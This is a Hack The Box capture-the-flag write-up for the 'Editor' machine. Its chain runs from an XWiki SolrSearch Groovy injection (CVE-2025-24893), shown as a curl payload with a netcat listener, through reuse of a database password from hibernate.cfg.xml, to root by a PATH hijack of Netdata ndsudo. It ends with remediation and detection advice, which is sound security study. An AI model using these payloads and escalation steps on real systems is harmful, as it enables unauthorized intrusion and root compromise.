Skip to content
taktak.hu

Editor — XWiki CVE-2025-24893 RCE to Netdata ndsudo PATH Hijack

Tools
rustscan, gobuster, curl, netcat, ssh, grep, suid3num
Skill demonstrated
Unauthenticated web application exploitation and Linux privilege escalation via credential reuse and an unsafe SUID helper search path
Tags
  • linux
  • web
  • xwiki
  • cve
  • path-hijack

At a glance

Section titled “At a glance”
Field Value
Difficulty Medium
Target environment Ubuntu Linux; XWiki Debian 15.10.8 behind nginx and Jetty 10.0.20
Starting position Unauthenticated network access
Objective Reach user and root control through a vulnerable XWiki instance, credential reuse, and a SUID monitoring helper
Outcome Unauthenticated code execution as the XWiki service user, SSH access as a local account, and root command execution via the SUID Netdata ndsudo helper

Summary

Section titled “Summary”

Editor is a Medium-rated Hack The Box Linux lab hosting XWiki behind an nginx virtual host. Enumeration exposes the wiki vhost running XWiki Debian 15.10.8, vulnerable to CVE-2025-24893 — unauthenticated Groovy code execution through the SolrSearch endpoint. The foothold exposes XWiki database credentials that a local account reuses for SSH, and privilege escalation abuses a SUID Netdata ndsudo helper whose PATH-based dependency resolution permits binary hijacking to obtain root. Credential values, host and address identifiers, and callback details are replaced with role-based placeholders; command syntax is preserved.

Attack path: unauthenticated XWiki SolrSearch RCE (CVE-2025-24893) → hibernate.cfg.xml database credential recovery → SSH access via credential reuse → SUID Netdata ndsudo PATH hijack → root

Context and Objective

Section titled “Context and Objective”
  • Target: an Ubuntu Linux host exposing SSH (22), nginx (80), and Jetty/XWiki (8080).
  • Application: nginx routes <WIKI_HOST> to an XWiki Debian 15.10.8 instance served by Jetty 10.0.20.
  • Starting position: unauthenticated network access, with no provided credentials.
  • Objective: move from the exposed web application to user and root control, and demonstrate the impact of an unpatched macro-injection flaw, credential reuse, and an unsafe privileged helper.
  • Constraints: activity was confined to the Hack The Box lab environment.

Approach and Evidence

Section titled “Approach and Evidence”

1. Service Discovery and Virtual Host Enumeration

Section titled “1. Service Discovery and Virtual Host Enumeration”

Observation: a full port scan exposes three services, and port 8080 serves XWiki directly.

Terminal window
rustscan -a <TARGET_IP> --ulimit 5000 -- -Pn -sC -sV -oN <OUT_FILE>
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp   open  http    nginx 1.18.0
8080/tcp open  http    Jetty 10.0.20

The port 8080 banner identifies the application as XWiki:

| http-title: XWiki - Main - Intro
|_Requested resource was http://<TARGET_IP>:8080/xwiki/bin/view/Main/

Virtual-host fuzzing reveals the wiki subdomain:

Terminal window
gobuster vhost \
  --url http://<TARGET_HOST> \
  --wordlist /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
  --append-domain
<WIKI_HOST> Status: 302 [Size: 0] [--> http://<WIKI_HOST>/xwiki]

Significance: the port-80 service redirects to the base virtual host, while the discovered virtual host reaches the XWiki application, and the 8080 banner identifies both the product and its container.

Result: the wiki vhost (<WIKI_HOST>) is identified and resolves to an XWiki Debian 15.10.8 instance.

2. CVE-2025-24893 — Unauthenticated XWiki Groovy Code Execution

Section titled “2. CVE-2025-24893 — Unauthenticated XWiki Groovy Code Execution”

Observation: the XWiki SolrSearch endpoint evaluates request input as wiki syntax, and CVE-2025-24893 lets an unauthenticated guest chain that evaluation into Groovy execution.

Action: start a listener and trigger execution through a SolrSearch request that closes the current syntax context and nests async and Groovy macros around a command wrapper.

Terminal window
nc -nlvp <LISTENER_PORT>
Terminal window
curl -G 'http://<WIKI_HOST>/xwiki/bin/get/Main/SolrSearch' \
  --data-urlencode 'media=rss' \
  --data-urlencode 'text=}}}{{async async=false}}{{groovy}}<GROOVY_COMMAND_WRAPPER>.execute(){{/groovy}}{{/async}}'

The source records a shell as the XWiki service user; no terminal output for this step was retained.

Significance: the flaw executes in the XWiki service context without authentication, exposing the application’s configuration and the database credentials it holds.

Result: unauthenticated code execution is obtained as the XWiki service user.

3. Credential Discovery and SSH Access

Section titled “3. Credential Discovery and SSH Access”

Observation: the XWiki configuration stores its database password in plaintext.

Terminal window
grep -rn --include="*.xml" -i "password\|credential" /etc /var /opt 2>/dev/null
/etc/xwiki/hibernate.cfg.xml:104:    <property name="hibernate.connection.password"><XWIKI_DB_PASSWORD></property>

The same password authenticates over SSH for the local account, which shares the secret:

Terminal window
ssh <LOCAL_USER>@<TARGET_HOST>
<LOCAL_USER>@<TARGET_HOST>:~$

Significance: a database secret that should be scoped to the application also protects an interactive account, so a configuration disclosure becomes host access without a further exploit.

Result: an authenticated shell is obtained as <LOCAL_USER> using the reused database password.

4. SUID Enumeration and Netdata ndsudo PATH Hijack

Section titled “4. SUID Enumeration and Netdata ndsudo PATH Hijack”

Observation: SUID discovery lists a Netdata plugin helper installed with the SUID bit.

Terminal window
python3 suid3num.py
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo

The helper is owned by root and group netdata:

Terminal window
ls -l /opt/netdata/usr/libexec/netdata/plugins.d/cgroup-network
-rwsr-x--- 1 root netdata 965056 Apr  1  2024 /opt/netdata/usr/libexec/netdata/plugins.d/cgroup-network

The local account is a member of the netdata group:

Terminal window
id
uid=1000(<LOCAL_USER>) gid=1000(<LOCAL_USER>) groups=1000(<LOCAL_USER>),999(netdata)

Significance: membership in netdata lets the low-privileged account execute the SUID helpers, and ndsudo resolves its nvme dependency through the caller-controlled PATH — the documented untrusted-search-path issue CVE-2024-32019.

Action: place a malicious nvme binary in a controlled directory, prepend it to PATH, and invoke the helper’s nvme-list action.

Terminal window
export PATH=/tmp/fakebin:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
root@<TARGET_HOST>:/home/<LOCAL_USER># id
uid=0(root) gid=0(root) groups=0(root),999(netdata),1000(<LOCAL_USER>)

Significance: the helper runs as root and trusts PATH, so the caller-controlled binary executes with root privileges — a direct privilege-boundary failure in a legitimate monitoring component.

Result: root command execution is confirmed by the root id output.

Challenges and Decisions

Section titled “Challenges and Decisions”
Challenge Decision Rationale
The SolrSearch parameter is parsed as wiki syntax Closed the syntax context, then nested async and Groovy macros around the command wrapper The Groovy step only runs once the parameter is parsed as nested macros
The SUID helper resolves nvme through the caller’s PATH Prepended a controlled directory containing a malicious nvme to PATH before running nvme-list The helper trusted PATH, so the first matching binary was executed as root

Outcome

Section titled “Outcome”

The evidence establishes root-level command execution on the host, reached through unauthenticated code execution in the XWiki service context and a database password that also authenticated SSH for the local account. The escalation rests on an unpatched macro-injection flaw, credential reuse across services, and a SUID helper that resolved a dependency through the caller’s PATH.

Lessons and Recommendations

Section titled “Lessons and Recommendations”

Each finding pairs the observed root cause with its demonstrated impact and a prioritized action. The actions are recommendations; none was validated in the lab.

  1. Unpatched XWiki macro injection (CVE-2025-24893). A guest could reach code execution through SolrSearch on the exposed instance. Recommendation: upgrade to a fixed release (15.10.11, 16.4.1, or 16.5.0RC1) and restrict access to macro-execution endpoints. Detection: monitor requests to SolrSearch and unexpected groovy/async macro content in request parameters.
  2. Database password reused as an interactive credential. The XWiki database password authenticated SSH for <LOCAL_USER>. Recommendation: issue unique, least-privilege credentials per service, never reuse application secrets for interactive accounts, and rotate any secret exposed in configuration. Detection: scan configuration and secret stores for credentials reused across services.
  3. SUID helper with an untrusted search path. Netdata ndsudo executed the first nvme binary found in the caller’s PATH with root privileges (CVE-2024-32019). Recommendation: resolve privileged dependencies by absolute path, sanitize PATH inside SUID binaries, and update Netdata to a fixed release. Detection: audit SUID helpers for PATH-based resolution and monitor privileged child-process execution from monitoring agents.
  4. Over-broad service group membership. Membership in netdata allowed the low-privileged account to run the SUID helpers. Recommendation: keep netdata group membership limited to the service account and review it against least privilege. Detection: alert on changes to service group membership.

References

Section titled “References”
Edit page

Last updated: